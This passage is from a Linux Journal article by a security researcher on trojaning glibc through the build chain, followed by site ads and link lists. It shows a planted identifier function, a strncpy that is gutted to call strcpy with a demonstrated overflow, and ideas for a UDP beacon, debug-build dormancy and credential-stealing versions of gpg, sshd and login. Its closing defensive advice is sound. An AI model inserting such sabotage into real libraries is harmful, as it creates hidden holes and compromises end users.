The Compiler as Attack Vector
Listing 5. Adding a Unique ID Function
Code added to libc-start.c
void __ID_abcdefghijklmnopqrstuvwxyz( void )
{
}
The output, after compile:
$nm -p hello | grep ID
080966e0 r _nl_value_type_LC_IDENTIFICATION
08048320 T __ID_abcdefghijklmnopqrstuvwxyz
080a5e00 R _nl_C_LC_IDENTIFICATION
$
There could be much debate about what the unique identifier should be and how it should be generated. To avoid a trip to Crypto 101, the identifier is a generic 26-character string. To prevent immediate detection, the identifier is added as a void function that is visible using nm. Its name is __ID_abcdefghijklmnopqrstuvwxyz(). This is added to libc-start.c. After rebuilding glibc and compiling the test program, the value is visible. The value I chose is for demonstration purposes. In reality, the more obscure and legitimate sounding the identifier, the harder it is to detect. My choice for a name in a real scenario would be something like __dl_sym_check_load(). In addition to tagging the binary at build, a token could be inserted that would create a single UDP packet, with the only payload being the IP address of the machine on which it is running. This could be sent to a logging server that could track what binaries are run in what places and where they were built.
One of the more interesting elements of this attack vector is the ability to make good code bad. strcpy is a perfect example of this function, because it has both an unsafe version and a safe one, strncpy, which has an additional argument indicating how much of a string should be copied. Without reviewing how a buffer overflow works, strcpy is far more desirable to an attacker than its bounds-checking big brother. This is a relatively simple change that should not attract too much attention, unless the program is stepped through with a debugger. In the directory <glibc-base>/sysdeps/generic, there are two files, strcpy.c and strncpy.c. Comment out everything strncpy does and replace it with return strcpy(s1,s2);.
Using GDB, you can verify that this actually works by writing a snippet of code that uses strncpy, and then single stepping through it. An easier way to verify this is to copy a large string into a small buffer and wait for a crash like the one shown in Listing 6.
Listing 6. strncpy Program and Results
strncpy function in <glbc-base>/sysdeps/generic/strncpy.c
char *
strncpy (s1, s2, n)
char *s1;
const char *s2;
size_t n;
{
return strcpy(s1, s2);
}
$cat strcpy.c
#include <stdio.h>
#include <string.h>
int bob(char *aa)
{
char b[4];
strncpy(b, aa, sizeof(b));
return 0;
}
int main()
{
char *a="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
bob(a);
return 0;
}
$<compile is same as fig. 3 with strcpy.c instead of hello.c>
$gdb ./str
strcpy strcpy.c strcpy2 strcpy2.c
$gdb ./strcpy
<snip for length>
This GDB was configured as "i586-mandrake-linux-gnu"...
(gdb) run
Starting program: /home/dave/code/lj/strcpy
Before main()
Looking for cmdln opt
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) print $eip
$1 = (void *) 0x61616161
(gdb)
<And to show strcpy still works>
int bob(char *aa)
{
char b[50];
strncpy(b, aa, sizeof(b));
printf("%s\n", b);
return 0;
}
int main()
{
char *a="Thats all folks";
bob(a);
return 0;
}
_________________________________________
$./strcpy
Before main()
Looking for cmdln opt
Thats all folks
After main()
$
Depending on the function of the code, it may be useful only if it is undiscovered. To help keep it a secret, adding conditional execution code is useful. This means the added code remains dormant if a certain set of circumstances are not met. An example of this is to check whether the binary is built with debug options and, if so, do nothing. This helps keep the chances of discovery low, because a release application might not get the same scrutiny as a debug application.
Now that the whats and the hows of this vector have been explored, the time has come to discuss ways to discover and stop these sorts of attacks. The short answer is that there is no good way. Attacks of this sort are not aimed at compromising a single box but rather at dispersing trojaned code to the end user. The examples shown thus far have been trivial and are intended to help people grasp the concepts of the attack. However, without much effort, truly dangerous things could emerge. Some examples are modifying gpg to capture passphrases and public keys, changing sshd to create copies of private keys used for authentication, or even modifying the login process to report user name and passwords to a third-party source. Defending against these types of attacks requires diligent use of host-based intrusion-detection systems to find modified system libraries. Closer inspection at build time also must play a crucial role. As you may have discovered looking at the examples above, most of the changes will be made blatantly obvious in a debugger or by using tools like binutils to inspect the final binary.
One more concrete method of defense involves profiling all functions occurring before and after main executes. In theory, the same versions of glibc on the same machine should behave identically. A tool that keeps a known safe state of this behavior and checks newly built binaries will be able to detect many of these changes. Of course, if attackers knew a tool like that existed, they would try to evade it using code that would not execute in a debugger environment. The most important bit of knowledge to take away from this article is not the internal workings of glibc and GCC or how unknown modifications can affect a program without alerting the developer or the end user. The most important thing is that, in this day and age, anything can be used as a tool to undermine security—even the most trustworthy staples of standard computing.
Resources for this article: www.linuxjournal.com/article/7929.
David Maynor is a research engineer with the ISS Xforce R&D team. He spends his day thinking of new ways to break things before the bad guys do. He can be reached at dmaynor@iss.net.
Today’s modular x86 servers are compute-centric, designed as a least common denominator to support a wide range of IT workloads. Those generic, virtualized IT workloads have much different resource optimization requirements than hyperscale and cloud applications. They have resulted in a “one size fits all” enterprise IT architecture that is not optimized for a specific set of IT workloads, and especially not emerging hyperscale workloads, such as web applications, big data, and object storage. In this report, you will learn how shifting the focus from traditional compute-centric IT architectures to an innovative disaggregated fabric-based architecture can optimize and scale your data center.
Sponsored by AMD
Built-in forensics, incident response, and security with Red Hat Enterprise Linux 6
Every security policy provides guidance and requirements for ensuring adequate protection of information and data, as well as high-level technical and administrative security requirements for a system in a given environment. Traditionally, providing security for a system focuses on the confidentiality of the information on it. However, protecting the data integrity and system and data availability is just as important. For example, when processing United States intelligence information, there are three attributes that require protection: confidentiality, integrity, and availability.
Learn more about catching the bad guy in this free white paper.
Sponsored by DLT Solutions
| Making Linux and Android Get Along (It's Not as Hard as It Sounds) | May 16, 2013 |
| Drupal Is a Framework: Why Everyone Needs to Understand This | May 15, 2013 |
| Home, My Backup Data Center | May 13, 2013 |
| Non-Linux FOSS: Seashore | May 10, 2013 |
| Trying to Tame the Tablet | May 08, 2013 |
| Dart: a New Web Programming Experience | May 07, 2013 |
- New Products
- Making Linux and Android Get Along (It's Not as Hard as It Sounds)
- Drupal Is a Framework: Why Everyone Needs to Understand This
- A Topic for Discussion - Open Source Feature-Richness?
- Home, My Backup Data Center
- RSS Feeds
- What's the tweeting protocol?
- New Products
- Trying to Tame the Tablet
- Dart: a New Web Programming Experience
Enter to Win an Adafruit Prototyping Pi Plate Kit for Raspberry Pi

It's Raspberry Pi month at Linux Journal. Each week in May, Adafruit will be giving away a Pi-related prize to a lucky, randomly drawn LJ reader. Winners will be announced weekly.
Fill out the fields below to enter to win this week's prize-- a Prototyping Pi Plate Kit for Raspberry Pi.
Congratulations to our winners so far:
- 5-8-13, Pi Starter Pack: Jack Davis
- 5-15-13, Pi Model B 512MB RAM: Patrick Dunn
- Next winner announced on 5-21-13!
Free Webinar: Linux Backup and Recovery
Most companies incorporate backup procedures for critical data, which can be restored quickly if a loss occurs. However, fewer companies are prepared for catastrophic system failures, in which they lose all data, the entire operating system, applications, settings, patches and more, reducing their system(s) to “bare metal.” After all, before data can be restored to a system, there must be a system to restore it to.
In this one hour webinar, learn how to enhance your existing backup strategies for better disaster recovery preparedness using Storix System Backup Administrator (SBAdmin), a highly flexible bare-metal recovery solution for UNIX and Linux systems.




15 hours 23 min ago
17 hours 55 min ago
19 hours 13 min ago
19 hours 48 min ago
20 hours 10 min ago
1 day 58 min ago
1 day 1 hour ago
1 day 3 hours ago
1 day 4 hours ago
1 day 6 hours ago